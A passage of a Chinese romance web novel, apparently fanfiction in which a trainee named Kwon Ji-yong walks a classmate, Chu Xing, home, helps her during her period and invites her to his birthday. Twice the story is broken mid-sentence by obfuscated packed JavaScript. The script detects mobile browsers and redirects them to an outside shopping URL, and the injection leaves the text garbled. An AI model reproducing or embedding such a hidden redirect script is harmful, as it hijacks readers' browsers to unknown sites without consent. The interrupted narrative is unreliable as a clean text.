权至龙看着她冷漠的侧脸线条,心脏像被一只无形的手紧紧攥住,一抽一抽地钝痛。但昨天那个在雨中离开的背影和此刻她话语里冰冷的疏离,非但没有击垮他,反而彻底激起了他骨子里那股从不服输的执拗和韧性。 他深吸一口气,努力压下喉咙口的哽咽,让自己的声音听起来尽量平静些,却依旧带着无法完全掩饰的微颤和…一种破釜沉舟般的勇气: “初星xi是觉得愧疚吗?因为昨天让我淋雨了。” 初星纤细的背影几不可察地僵了一下。她没料到他会如此直白将这个她不愿深究的情绪摊开在阳光下。她只是微微抿紧了本就色泽偏淡的唇,用沉默代替了回答,算是默认了。 权至龙捕捉到她那细微的僵硬,心脏的疼痛里奇异地渗进一丝微弱的希望。他上前一步,眼睛紧紧盯着她,那双小鹿眼里闪烁着复杂难辨的光芒——有被拒绝的受伤,有不肯放弃的倔强,更有一种押上所有的、孤注一掷的决绝: “如果初星xi真的觉得过意不去,那就补偿我好了。” “……”初星微微蹙起精致的眉头,完全没预料到他会提出这种近乎“交易”的要求,清冷的眸子里闪过一丝错愕。 “不要你喜欢我。”权至龙快速地说道,仿佛慢一秒就会失去所有勇气,话语像机关枪一样射出来,“就补偿我……送我回家。” 初星:“……嗯?”她终于完全转过身,直愣愣地看着面前这个脸颊迅速爆红、眼神却异常执着的男孩,怀疑自己是不是听错了。他这脑袋里到底装了什么? “不对!”权至龙瞬间意识到自己紧张之下的口误,脸颊红得快要滴血,慌忙摆手纠正,差点咬到自己的舌头,语无伦次地解释:“是、是允许我…送你回家!每天!”他终于把真正想说的、在心底排练了无数遍的请求喊了出来。 他说完,心脏在胸腔里砰砰狂跳,撞击着肋骨,声音大得他怀疑她都能听见。他却还是强撑着,用那双湿漉漉的、盛满了恳求却又异常执着坚定的眼睛紧紧看着她,屏息等待着她的审判。这已经是他能想到的、唯一能继续名正言言顺地靠近她、又不被她立刻冰冷拒绝的理由了。近乎卑微地,想用她那一点点或许存在的愧疚感,绑架一个留在她身边的机会。 空气凝固了几秒,只有风吹过树叶的沙沙声。 初星看着他这副紧张得快要同手同脚、却又异常认真的模样,觉得有点好笑。这种无赖的、孩子气的谈判方式,倒是比她预想的……要稍微有意思那么一点。 她纤细的眉梢几不可察地挑了一下,清冷的眸光在他通红的脸颊和写满期待的眼睛上转了一圈,既没立刻答应,也没像往常一样干脆利落地拒绝。 最终,她只是略带烦躁地、仿佛不堪其扰般地扔下一句:“随你便。”爱送就送,反正浪费的不是她的时间,她也不会因此多看他一眼。 权至龙僵在原地,看着她再次转身离去的背影,用力握紧了拳头,指尖深深掐进掌心。抬脚跟上去,想要履行这“来之不易”、用他的狼狈和她的些许愧疚换来的“补偿”协议。 初星走了两步,却毫无预兆地停下。她没有回头,只是微微侧过脸,夕阳勾勒出她精致却冷淡的侧脸轮廓,声音里带着一丝淡淡的、似乎只是随口一提的疑惑,抛出一个问题: “你每天这么闲吗?”她顿了顿,想起了某些无意中飘进耳朵里的信息,补充道:“不去……公司练习?”她记得珍雅似乎提过一嘴,权至龙是个练习生,唱歌跳舞还行,好像签了家公司。 权至龙脚步瞬间钉在原地,脸颊刚刚褪下一些的红晕又“噌”地一下涌了上来。他显然没想到她会突然问起这个,有些手足无措,连忙解释,声音都带着点慌:“去!要去的!但是…练习一般在晚上或者周末…”他的声音渐渐变小,有点不好意思,又有点担心,“…放学后到练习前,还、还有时间。”他说完,有些紧张地偷瞄着她的背影,心脏悬在半空,生怕她觉得他不务正业、游手好闲,或者干脆以此为理由,收回刚才那句珍贵的“随你便”。 初星听完,脸上没什么明显的反应,只是极轻地、几不可见地点了一下头,随口应了一声:“哦。” 随后,她继续向前走去,没有再说话,也没有收回成命。 权至龙却因为她这突如其来、看似随意的“关心”而心跳再次失控加速。她居然知道他在做练习生?她……是不是也偶尔……会注意到一点点关于他的事情?哪怕只是无意中听到的? 这个微小得近乎自作多情的念头,像一颗火星落入干草堆,瞬间在他心里燃起熊熊火焰,充满了无穷的动力和希望。 他赶紧快步跟上,小心翼翼地重新保持在那一步之遥的距离,像个忠诚又忐忑的小跟班,连呼吸都放轻了,生怕打扰到她。 夕阳将两人的影子拉得很长,交织在铺满余晖的路上。 …… 日子在权至龙日复一日、雷打不动的“护送”中平稳流逝。他像一道沉默又固执的影子,初星虽谈不上喜欢,但她不得不承认,她渐渐习惯了这种存在。 习惯了每天走出校门时,眼角余光总能瞥见那个等在老地方树下、身影逐渐变得熟悉的身影。 习惯了她偶尔因为系鞋带或整理书包而停下脚步时,身后那道影子也会立刻僵住、变得手足无措的笨拙感。 习惯了她经过车流较多的路口时,身旁会下意识快半步、紧张地虚挡一下又迅速缩回去、生怕越界的小动作。 甚至习惯了他那些干巴巴、没什么营养的短句(“今天天气很好”、“月考加油”)飘进耳朵里,她很少回应,他下次依旧会鼓起勇气小声地说。 但这天放学,初星和珍雅道别后,像往常一样走出校门,目光习惯性地、几乎是不经思考地扫向那棵大树下—— 却空无一人。 她纤细的脚步并未停顿,看起来毫不在意,只是那双总是平静无波的清冷眼睛里,极快地掠过一丝极其细微的不虞,像平静的湖面被投入一颗极小极小的石子,涟漪微不可见,很快消失无踪。但她下颌线的弧度似乎比平时更紧绷了零点几毫米,透出冷硬。 她没有等待,也没有放缓脚步,径直向前走去,步速比往常似乎快了那么一丝,裙摆带起的微风都显得更冷冽了些,透着生人勿近的气息。 在她快要走到第一个路口,准备拐弯时,身后传来一阵急促却努力压低的脚步声和明显带着喘息的道歉声。 “初星xi!对、对不起!”权至龙小跑到她身侧稍后的位置,气息不稳,额前的软发被汗水沾湿,几缕贴在光洁的额头上,脸上带着显而易见的慌乱和深深的歉意,手里还紧紧捏着那瓶她“习惯”了的、特定牌子的牛奶,“老师临时拖堂,我…我一下课就跑来了…” 初星没有停下脚步,也没有转头看他,仿佛根本没听见他焦急的解释,目光平视前方,只有淡色的唇角极其冷淡地向下弯了一个几乎看不见的弧度,显示出一丝不悦。 这种彻底的、冰冷的无声忽视,比直接的责备更让权至龙心慌意乱。 他顿时噤声,不敢再解释,只是小心翼翼地、更加沉默地跟在后面,连呼吸都放得极轻,努力降低自己的存在感。不敢靠太近,心里又害怕又失落,像只被主人彻底无视、冷落在一旁的小狗,连头发丝都透着一股浓浓的沮丧和不安。他能清晰地感觉到,今天她周身那股“生人勿近”的冰冷气场比平时要浓重得多。 一路无话。气氛压抑得让人几乎喘不过气。 走过一个熟悉的拐角,路边有一位头发花白的老奶奶摆着一个小摊,卖一些手工编织的小动物钥匙扣,造型拙朴却别有生趣,充满了温暖的烟火气。初星的目光无意中扫过,在那只歪着头、眼神看起来傻乎乎、透着点无辜和憨态的小狗钥匙扣上停留了或许零点几秒,随即又若无其事地移开视线,继续前行。 这个细微的停顿短暂得几乎无人能察觉。 但一直将全部注意力都放在她身上、时刻关注着她一举一动的权至龙,精准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“明天再迟到,”她的声音依旧清冷,没有什么情绪起伏,却像天籁一样传入他耳中,“就不用来了。” 然后,头也不回地走进楼梯口,消失在他的视线里。 权至龙怔怔地看着空荡荡的楼梯口,眼睛一点点睁大,光芒迅速点亮了他整个脸庞,嘴角无法控制地向上扬起! 她没有彻底厌烦他!她只是不喜欢他迟到!她甚至还允许他有“明天”!这简直是……巨大的恩赐! 他用力点头,对着空无一人的楼道小声却无比郑重地保证,仿佛在立下最重要的誓言:“嗯!一定准时!绝对!绝对不会再迟到了!” 夜晚的练习室内,节奏强烈的音乐声中,权至龙对着巨大的镜子练习舞蹈动作,每一个节拍都踩得精准有力,但他的嘴角却控制不住地一直向上翘起,时不时就对着镜子里的自己露出一个傻乎乎的笑容,连最需要爆发力的动作都透着一股轻飘飘的、藏不住的甜味和兴奋。 坐在旁边地板上休息、擦着汗的东永裴实在看不下去了,拿起地上的毛巾扔到他身上:“呀,志龙!你中邪了?从进来就开始傻笑,动作都软绵绵的!吃错药了?” 权至龙利落地接住毛巾,胡乱在脸上擦了一把汗,脸上的笑容却越来越大、越来越傻,那颗标志性的小虎牙明晃晃地露出来:“永裴啊~”他声音都带着甜腻腻的、上扬的尾音,藏不住的开心,“因为…初星…今天跟我说话了嘛…”虽然只是让他别迟到,但对他来说,这已经是天大的恩赐和巨大的进步了!而且,她收下了他的礼物! 东永裴无语地翻了个白眼,拿起地上的水瓶喝了一口,吐槽道:“没救了你,彻底没救了。”但看着好友那副沉浸在单纯快乐和希望里的样子,也忍不住摇了摇头,嘴角最终还是露出拿他没办法的、带着暖意的笑意。 权至龙才不管好友的吐槽,继续对着镜子练习,感觉浑身都有用不完的劲儿,每一个动作都充满了活力,每一个节拍都仿佛踩在幸福的鼓点上,整个人都在发光。那个小小的编织小狗,仿佛给了他整个世界。 11. 守护 临近学期末,学业和练习的双重压力像两座大山同时压来。权至龙眼底带着淡淡的、无法掩饰的青黑,递上牛奶时,指尖新贴的创可贴也悄然露了出来,无声诉说着连日来的疲惫。 初星像往常一样走出来接过酸奶,目光极快地从他难掩疲惫的脸上和那显眼的创可贴上掠过。她嘴唇微动,似乎想说什么,但最终什么也没说,只是握紧了牛奶,继续默不作声地往前走。 权至龙默默跟上,脚步因为积累的倦意确实比平时沉重迟缓了一些,但他仍努力保持着那一步的距离。 走到半路,经过一个熟悉的公交站台时,熟悉的公交车正好“嗤”的一声缓缓进站。这是能直达权至龙公司附近那栋老旧练习楼的车。 初星的脚步几不可察地顿了一下,她没有转头,只是用眼角的余光极快地瞥了一眼那辆车和站牌,又飞快地收回视线,语气比平时多了一丝类似于不耐烦的意味: “你今天……太慢了。” 权至正因为疲惫而有些精神涣散,闻言愣了一下,立刻紧张起来,慌忙道歉:“啊!对不起,初星xi!我会跟上的!”说着就强打精神要加快脚步,生怕被她嫌弃。 却听见前面传来一声极轻的、几乎被风吹散的冷哼。 “跟不上就别硬跟。”她的声音不高,却清晰地钻进他耳朵里,带着点她特有的声调和不易察觉的别扭,“那辆车,不是能到你练习的地方吗?” 说完这句话,她丝毫没有停顿,也没有看他,仿佛只是随口指出一个她恰好知道的事实,步速甚至比刚才还快了少许,裙摆划出决绝的弧度,像是要把他这个“累赘”彻底甩掉。 权至龙停下了脚步,看看那辆即将关门的公交车,又看看初星丝毫没有放缓意思、却莫名透出一丝“赶人”意味的背影。 心脏像是被什么东西轻轻撞了一下,一股酸酸涩涩又带着暖意的热流缓缓涌上。 她注意到他累了… 她虽然说得那么嫌弃又不动声色,用这种别扭的方式……但这几乎是在让他提前走了吧?是在……体谅他吗? 这个念头让他心头巨震,混合着被察觉疲惫的羞赧和被她隐晦关怀的喜悦。 他不再犹豫,对着她的背影提高了一点声音,语气里带着感激和一丝试探:“初星xi!那我…今天坐这辆车了!” 前方那个背影没有任何回应,也没有回头,好像没听见。但权至龙却恍惚觉得,在听到他的话后,那挺直清冷的背影似乎放松了一丝丝?绷紧的肩线柔和了少许?也许是他的错觉,但他宁愿相信这是真的。 他雀跃地跳上了公交车。车子启动。他靠在窗边,看着窗外初星越来越远的背影,嘴角忍不住向上扬起,心底一片柔软。 就算是被嫌弃“太慢”、“别硬跟”,他也从中品出了一丝极其隐晦的、别别扭扭的……好意。 而这对他来说,就已经是全世界最甜的糖了。 …… 午后的阳光带着一丝慵懒的假期气息,学期终于结束。 权至龙手里紧紧握着那瓶她常喝的、还带着冰凉水珠的牛奶,指尖因为用力而微微发白。他的心情像这午后的阳光一样,明亮而温暖,带着假期开始的轻快和一丝隐秘的期待。他想着今天或许能跟初星多说一句话,哪怕只是简单地道个别,祝她假期愉快。他偷偷练习了好几遍开场白,想着怎么才能显得自然又不惹她烦。 初星走出来时,脸色却阴郁得与这明媚的午后格格不入。她眉头紧锁,漂亮的脸上笼罩着一层明显的、几乎要实质化的烦躁和不耐,步伐也比平时更重,仿佛脚下踩着的不是地面,而是让她极度不悦的东西,周身散发着“生人勿近”的强烈低气压,让她看起来像只被惹恼了、随时会伸出爪子挠人的猫。 权至龙带着小心翼翼的、酝酿了半天的笑容迎上去,心脏因为期待而微微加速跳动。他尽量让声音听起来轻快又自然,将牛奶递出:“初星xi,学期最后一天了。”他甚至在句尾加了一点不易察觉的上扬语调,试图传递一丝轻松的假期氛围。 初星的目光冰冷地扫过那瓶牛奶,像是被什么极其厌烦的东西刺了一下,眼底掠过极度的不耐烦和赤裸裸的抵触。她没有丝毫伸手的意思,反而被这日复一日、雷打不动的例行公事彻底点燃了积压的火气。 “不要。”她的声音冷硬得像冰块撞击,带着明显的、几乎要溢出来的火气,比平时更加疏离和尖锐,每一个字都像一把小锤子,“天天都是这个,腻了。走开!” 她说完,根本不给权至龙任何反应和消化的时间,像是多看他一眼、多待一秒都难以忍受,猛地转身就要离开。小腹隐隐传来的坠痛感和莫名的、无法控制的烦躁让她看什么都碍眼,尤其是这个天天准时出现、递上同样东西、仿佛永远不会变通的家伙!他难道就不会厌烦吗?!他就没有一点别的可做吗?! 权至龙脸上的笑容瞬间冻结了。 那抹小心翼翼维持的、带着期冀的弧度僵在嘴角,一点点碎裂、剥落,最终消失无踪,只剩下一片茫然的空白。他伸出的手臂还悬在半空中,维持着递出的姿势,指尖原本因为握着冰牛奶而有些发凉,此刻却变得冰冷刺骨,那寒意顺着指尖迅速蔓延至整条手臂,狠狠地扎进了心脏。 那瓶被毫不留情、带着厌恶拒绝的牛奶仿佛有千斤重,不再是心意,而成了一种耻辱的象征,沉沉地坠着他的手腕,也坠得他心口发闷,喘不过气,几乎要站立不稳。 委屈像海啸一样毫无预兆地汹涌袭来,瞬间淹没了他。 为什么? 他做错了什么? 他只是想像每一天一样,给她送一瓶牛奶而已。这只是学期最后一天,他甚至暗暗期待能有一个稍微不一样一点的结束。他准备了那么久的心情,练习了那么多次开口,鼓起了那么大的勇气……换来的却是如此冰冷彻骨、甚至带着厌恶的拒绝? 泪水迅速蓄满了眼眶,摇摇欲坠。他死死咬住下唇,用尽了全身力气才勉强忍住没有让那丢人的眼泪掉下来,但通红的眼圈和鼻尖却泄露了他此刻汹涌的情绪。 就在那抹滚烫的泪水即将彻底模糊视线、让他再也看不清任何东西时,他的目光依旧固执地、带着不甘和难过,追随着她那冷漠决绝的背影——权至龙的瞳孔猛地一缩!所有的委屈和难过立刻被震惊和恐慌取代! 在初星的裙裤后方,靠近大腿的位置,赫然印出了一小片……刺眼的、不该有的深红色痕迹! 结合她刚才异常烦躁易怒的态度、拒绝喝牛奶、以及那明显带着生理期情绪的语气……权至龙脑子里嗡的一声,瞬间明白了! 她不是讨厌他!她是……来例假了!而且自己可能还没发现这个极其尴尬的状况! “初星xi!!!”权至龙的声音瞬间拔高,带着前所未有的惊慌和急切,什么都顾不上了,心疼和保护欲压倒了一切,他几乎是手忙脚乱地、跌跌撞撞地冲上前去。 初星正因为剧烈的烦躁和身体的不适而气闷不已,听到他居然还敢大声喊她,更是火冒三丈,猛地停下转身想呵斥他:“你吵什……” 她的话没能说完就看到权至龙以一种极度慌张甚至有些狼狈的表情冲到她面前,因为跑得太急差点绊倒。他的脸涨得通红,眼神慌乱又焦急地在她裙摆和自己之间来回移动,嘴唇哆嗦着,像是想说什么又因为极度紧张而说不出来,完全没了平时的样子,只剩下全然的担忧和失措。 他赶忙将自己身上那件轻薄的校服衬衫外套脱了下来,动作快得几乎扯掉扣子,带着急切。 “初…初星xi!你…你后面……”他急得语无伦次,声音压得极低,却又因为焦急而发颤,他完全不敢看她的眼睛,目光躲闪,手忙脚乱地想把手里的外套递给她,却又不知道该如何准确表达这令人尴尬的事情,“裙、裙子……那个……沾、沾到了……” 他笨拙地、飞快地用手指了一下自己的后腰下方示意,脸已经红得像煮熟的虾子,额头上急出了细密的汗珠,比自己遭遇了最糗的事还要紧张。 初星被他这样子弄得一愣,火气暂时被疑惑取代。她顺着他不时瞥向她身后的、写满“出大事了”的目光,下意识地、疑惑地扭头想往后看…… “别!别回头看!”权至龙情急之下,几乎是低吼出来,也顾不得什么礼貌和距离了,他上前一步,手臂一展,迅速地将那件外套,紧紧地、牢牢地围系在了初星的腰间,宽大的衣摆正好完美地遮挡住了后面的尴尬。 他的动作带着不容拒绝的急切和一种笨拙的温柔,指尖甚至因为紧张和担心而微微发抖。 “就…就这样!披着!拜托了!”他的声音带着恳求,脸红得几乎要冒烟,眼神里充满了窘迫、尴尬,却又无比坚定的、想要保护她的决心。 初星彻底僵住了,大脑一片空白。 腰间突然围上的男生外套,还带着少年温热的体温和干净的、淡淡洗衣液香气。权至龙这突如其来、有些冒犯却又明显慌乱到极点、充满了保护意味的动作,以及他脸上那副快要羞耻得晕过去、却又强撑着挡在她面前的表情…… 她再迟钝,结合身体隐约的坠痛感和他的反应,也瞬间明白了发生了什么! “轰——”地一下,血液猛地冲上头顶,她的脸瞬间变得比权至龙的还要红!滚烫的羞耻、尴尬、无措、还有一丝刚才错怪他的愧疚……所有情绪猛烈地交织在一起,让她的大脑一片空白,嗡嗡作响,几乎要当场晕厥! 她立刻低下头,恨不得找个地缝立刻钻进去,一句话也说不出来,连耳朵尖都红得滴血,刚才所有的烦躁和火气,瞬间被这排山倒海般的尴尬和羞赧彻底浇灭,只剩下无尽的难为情。 权至龙看着她几乎要缩起来的、无比脆弱的模样,心脏还在砰砰狂跳,既心疼又尴尬,他强装镇定,声音依旧有点发颤,却努力放缓,试图安抚她:“初……初星xi,我……我送你回家……现在,马上。” 这一次,初星没有拒绝,也没有说任何带刺的话。 她只是死死地低着头,恨不得把脸埋进地里,用细若蚊蚋、几乎听不见的声音,从喉咙里挤出一个音节: “……嗯。”声音里带着前所未有的窘迫和依赖。 两人就这样沉默地、极其缓慢地向前移动着。平时的路线似乎变得格外漫长,每一步都像是踩在针尖上。 每走一步,初星都觉得无比煎熬,脸颊滚烫。她能感觉到权至龙小心翼翼投来的、充满担忧和紧张的目光,这让她更加羞愤欲死。她想走快一点,赶紧结束这酷刑,逃离这令人窒息的尴尬,却又不敢动作太大。 权至龙的心也揪得紧紧的,手心还在冒汗。他看到她微微发颤的肩膀和始终不肯抬起的、通红的耳尖,心里又急又疼,充满了保护欲。他努力地想找点话说,打破这令人窒息的沉默,却又怕说错每一个字让她更尴尬,只能更加沉默地守护在一旁。 “那个……”他终于鼓起勇气,声音干涩得厉害,“初星xi,你……你还好吗?”话一出口他就想咬掉自己的舌头!这问的是什么蠢问题!她怎么可能好! 果然,初星的身体僵了一下,头垂得更低,从牙缝里挤出生硬无比、带着浓浓羞愤的三个字:“…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680901|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死不了。” 权至龙:“……” 他更慌了,恨不得时间倒流。 又走了一小段,经过一家便利店。明亮的灯光像是一种救赎。权至龙像是看到了救星,猛地停下脚步。 “初星xi!你、你在这里等一下!就一下!千万别走开!我很快回来!”他语速极快地说完,语气里带着不容拒绝的急切和担忧,不等初星反应,就像一阵风似的冲进了便利店。 初星愣愣地站在原地,看着他仓促跑开的背影,腰间属于他的外套还残留着温热的体温和干净的气息,此刻变得异常清晰。她下意识地紧了紧外套,心里乱成一团麻,这个笨蛋……又去干什么? 几分钟后,权至龙气喘吁吁地跑了出来,脸上红潮未退,眼神依旧躲闪,不敢直视她,手里却多了两样东西。 一个黑色的、厚实不透明的塑料袋,鼓鼓囊囊的,看不清里面具体是什么,但形状隐约可辨。 还有一杯冒着袅袅热气的饮品,纸杯外面套着防烫的杯套,隐约能看到杯壁上凝结的细小水珠,散发着淡淡的甜香。 他跑到初星面前,呼吸还没平复,先是笨拙地把那个黑袋子递给她,声音小的像蚊子叫,充满了尴尬和体贴:“这、这个……给你……可能……需要用……”他的眼神飘忽,脸颊更红了。 初星看着那个袋子,瞬间明白了里面是什么,轰的一下,刚刚稍有降温的脸再次爆红!血液全涌上了头顶!他居然……!去买了这个?! 她几乎是抢一样一把夺过袋子,手指都在发抖,看也不敢看他一眼,恨不得当场消失。但心底最深处,却又有一股暖流悄然划过。 紧接着,那杯热饮被小心翼翼地、带着试探地塞进了她另一只冰凉的手里。恰到好处的温暖透过杯壁传递到她的掌心,驱散了一丝寒意和生理期的不适。 “这、这个是热的红豆桂圆茶……”权至龙的声音还是紧张得结巴,却努力解释着,试图缓解她的尴尬,“店员说……说喝这个会舒服一点……你、你拿着暖暖手也好……” 初星愣愣地握着那杯温暖的热饮,热度不仅暖了冰凉的手,似乎也悄悄渗进了她因为极度尴尬和生理不适而冰冷的心底。她死死地盯着杯子,长长的睫毛剧烈地颤抖着,一句话也说不出来,所有的尖锐、暴躁和羞愤在这一刻,似乎都被这杯突如其来的、小心翼翼的温暖微妙地融化了少许。 “……多管闲事。”最终,她还是挤出了一句习惯性的、带着颤音的反驳,但语气却远不如之前凶狠,甚至有点……虚张声势的、掩饰内心波动的意味。而且,她并没有扔掉那杯茶,反而下意识地把它握得更紧了些,汲取着那份温暖。 权至龙被她嘟囔了一句,心里却莫名安定了些,甚至有隐秘的欢喜。至少……她接受了。她没有真的讨厌他。 接下来的路程,沉默依旧,但气氛似乎微妙地变了一点点。她一手紧握着那杯源源不断提供温暖的热饮,一手紧紧攥着那个救命的黑袋子。那杯茶的温度和那个袋子的存在,像是一个共享的、极其尴尬却又无比亲密的秘密,难堪,却又奇异地连接着两人,冲淡了些许之前的疏离和纯粹的尴尬。 终于,走到了初星家附近那条安静的、令人安心的街道。 初星的脚步明显加快,归心似箭,想要立刻逃离这令人窒息的、却又带着奇异温暖的场景。 到了入户门口,她松了口气,又像是急于躲进自己的空间。她停下脚步,先是下意识想把手里的热饮还给他,但动作做到一半又顿住了——喝过的饮料再还回去似乎更奇怪更亲密。她犹豫了一下,还是把热饮和袋子紧紧抱在怀里,随后空出手去解腰间系着的外套,想要还给他。 “等等!”权至龙连忙阻止,声音还是有些紧张,但多了几分坚持,“外、外套……你先披着进去吧!没、没关系的!里面……可能还需要……”他语无伦次,脸又红了,“还有这个,”他指了指她怀里的黑袋子,“也拿好……都需要用的……” 初星解外套的动作顿住了。她看了看安静的楼梯口,又想了想自己身上可能还留有痕迹的裙子和手里的东西,犹豫了。他的考虑……确实更周到。 权至龙看着她挣扎的样子,连忙补充道,试图让她安心:“下次……下次再还我就好!真的没关系!”他急切地表示着,生怕她因此感到不便或更尴尬。 初星飞快地瞥了他一眼,看到他脸上真诚的、依旧布满红晕却写满担忧和体贴的神情,又感受到怀中热饮源源不断传来的、安抚了她不适的暖意,她抿了抿唇,内心挣扎了片刻,最终极轻极快地从喉咙里挤出一句几乎听不见的:“……谢了。” 声音轻得像羽毛拂过,但权至龙清晰地捕捉到了。 他还没来得及反应,初星已经转过身,像受惊的小鹿一样,快步跑进了楼梯口,迅速消失在阶梯之上。只留下空气中一丝淡淡的红豆桂圆的甜香,和权至龙那颗还在为刚才一系列惊心动魄的事件而砰砰狂跳的心脏。 他呆呆地站在紧闭的大门外,看着自己身上空荡荡的、只剩下单薄短袖的样子,回味着那句轻不可闻却重若千钧的“谢了”,还有她最后慌乱逃跑却紧紧抱着那杯热饮和袋子的背影…… 脸上慢慢露出了一个有点傻气的笑容。 虽然过程惊心动魄、尴尬无比…… 但,他好像……终于为她做了一点真正有用的事,在她最需要的时候,笨拙地守护了她。 而且他好像……有了下次再见她的正经理由了? 权至龙摸了摸依旧发烫的脸,转身离开的脚步,却不知不觉变得轻快起来。 12. 邀约 阳光炙烤着大地,连知了的叫声都显得有些有气无力,空气里弥漫着慵懒而燥热的暑气。 初星穿着一身舒适的居家短裤和T恤,趿着凉拖,手里拎着一袋垃圾,慢吞吞地走出楼栋,脸上还带着点没睡醒的惺忪和对这闷热天气的不耐烦。 刚走到楼下不远处的小径阴影里,差点撞上一个靠在墙边、几乎与阴影融为一体的人影。 “呀!谁啊……”初星被吓了一跳,不满地蹙眉抬头,却在看清那人时愣住了。 权至龙? 他穿着简单的白T恤和牛仔裤,额头上沁着细密的汗珠,脸颊被热得有些发红,看起来在这里等了有一会儿了。见到初星,他眼睛猛地一亮,像被瞬间点燃的星辰,立刻站直了身体,显得有些紧张和无措,手指下意识地揪着衣角,像个做坏事被抓包的小孩。 “初…初星xi!”他慌忙打招呼,声音因为紧张和些许脱水而有点干涩结巴。 初星看着他这副傻乎乎等在酷暑里的样子,又看了看外面毒辣得几乎扭曲空气的太阳,眉头皱得更紧了,带着毫不掩饰的诧异和一丝嫌弃:“你在这里干什么?晒太阳吸收能量吗?” 她实在想不通怎么会有人用这种最笨的方法在这里“守株待兔”。 权至龙被她这么直白的一问,脸更红了,手指下意识地抠着衣角,眼神躲闪,支支吾吾地说:“我……我没有初星xi的联系方式……不知道你什么时候会出来……就……就想等等看……”他的声音越说越小,带着点难以言喻的委屈和一种笨拙到极致的真诚。他其实等了快一个小时,被晒得头晕眼花,但一想到可能见到她,就觉得一切都值。 初星一时语塞。没有联系方式,所以就用这种最原始、最傻的“守株待兔”的方法?她看着他被晒得发红的脸和汗湿的额发,心里那种莫名其妙的感觉又来了——有点烦他这种不顾后果的笨拙,又好像……被这份固执的真诚微微触动了一下。 “笨蛋吗?”她最终没好气地嘟囔了一句,语气却不像平时那么冷硬,甚至带上了一丝自己都没察觉的无奈,“等着中暑然后赖上我?” 权至龙听到她这话,非但没难过,反而从中咂摸出了一丝极淡的关心意味,眼睛又亮了几分,连忙摇头,语气急切地保证:“不会的!我身体很好!” 他像是突然想起了正事,深吸一口气,鼓起此生最大的勇气看向初星,表情变得异常认真又充满期待。 “初星xi!其实……其实我是想告诉你,下周8月18号……是、是我的生日。”他说着,脸上泛起不好意思的红晕,手指紧张地蜷缩,“我……我想在家里办个小聚会,请几个朋友一起玩……” 他紧张地观察着初星的脸色,语速不自觉地加快,像是要赶紧抛出所有能增加砝码的理由:“我……我还邀请了珍雅xi!就是和你关系很好的那个朋友珍雅!她、她已经答应了!” “所以……所以……”权至龙双手紧张地握在一起,骨节都有些发白,眼神里充满了恳切和小心翼翼的、几乎卑微的期待,声音都带上了点不易察觉的颤音,“初星xi,你……你愿意来吗?就在我家,不会很吵的……就当……就当是来玩一下?” 他说完,屏住了呼吸,眼睛一眨不眨地看着初星,仿佛等待最终的审判。额角的汗珠顺着脸颊滑落,痒痒的,他也顾不上擦,全部心神都系在她的下一句话上。 初星愣住了。 生日?邀请?还有珍雅? 她看着眼前这个像是用尽了全部勇气发出邀请、紧张得快要同手同脚、连呼吸都小心翼翼权至龙,他眼睛里那簇渴望又害怕被拒绝的火苗清晰可见,脆弱又灼热。 拒绝的话几乎瞬间就到了嘴边——她一向不喜欢去不熟悉的人家里,应付不熟悉的人。 但是…… 思绪不受控制地飘散开。 想到他可能傻乎乎地在楼下毒日头里等了不知道多久,就为了说这个。想到他特意费心邀请了珍雅,显然是仔细琢磨过、花了心思的。想到他刚才那副被晒得可怜兮兮、却还强打精神的样子。 还有……之前那杯暖手的红豆桂圆茶,那件带着体温、为她解围的外套…… 她到了嘴边的、冷硬的拒绝,忽然像是被什么东西黏住了,有点说不出口。 她有些不自然地移开视线,看向旁边被晒蔫了的树叶,语气依旧有点硬邦邦的,带着点故作挑剔的不耐烦:“……818?听起来像个购物节。” 权至龙的心一下子沉了下去,迅速坠入谷底,眼神瞬间黯淡无光,连嘴角都无力地垂了下去。果然……还是不行吗…… 却听见初星接着说道,声音不大,甚至有点含糊,像是在抱怨,又像是在给自己找台阶下:“……珍雅那丫头,肯定又咋咋呼呼的。” 权至龙猛地抬起头,心脏像是被猛地注入了一针强心剂,疯狂地跳动起来!他几乎不敢相信自己的耳朵! 初星微微蹙着眉,像是经过了一番激烈的思想斗争,最终才极其勉强地、非常不情愿地补充了一句:“……知道了。如果那天没事的话。” 没有明确的、热情的答应,但这近乎“恩准”般的应允,已经是权至龙能想到的最好、最不敢奢望的答案了! 喜悦瞬间冲昏了他的头脑,血液轰地一下涌上头顶,他几乎要高兴得跳起来,脸上绽放出无比灿烂的笑容,那笑容纯粹而耀眼:“真的吗?太好了!初星xi!我会把地址和时间发给珍雅xi的!一定会很好玩的!真的!”他语无伦次地保证着,快乐得像个第一次得到心爱玩具的孩子。 初星看着他高兴得几乎要手足舞蹈、语无伦次的样子,脸颊微微发热,有些不自然地抿了抿唇。为了掩饰某种莫名的情绪,她把手里的那袋垃圾往他那边随意一递,凶巴巴地试图掩盖什么:“笑那么傻干嘛?!正好,顺手拿去扔了!热死了,我上去了!” 说完,她也不等权至龙反应,转身就朝着门口走去,脚步比来时快了不少,仿佛身后有什么令人心慌的东西在追她。 权至龙连忙接过那袋根本不算重的垃圾,像接过什么神圣的使命。他看着初星几乎是“落荒而逃”的纤细背影,脸上的笑容越来越大,傻乎乎地对着她的背影大声保证,声音里充满了飞扬的喜悦:“是!初星xi!保证完成任务!初星xi,再见!” 炙热的阳光好像也没那么难以忍受了,仿佛变成了温暖的祝福。 他低头看了看手里那袋普通的垃圾,觉得这简直是他收到过的最好的、最特别的“预支生日礼物”。 她终于……答应了他的邀请呢! 权至龙觉得,这个暑假,简直不能更美好了! 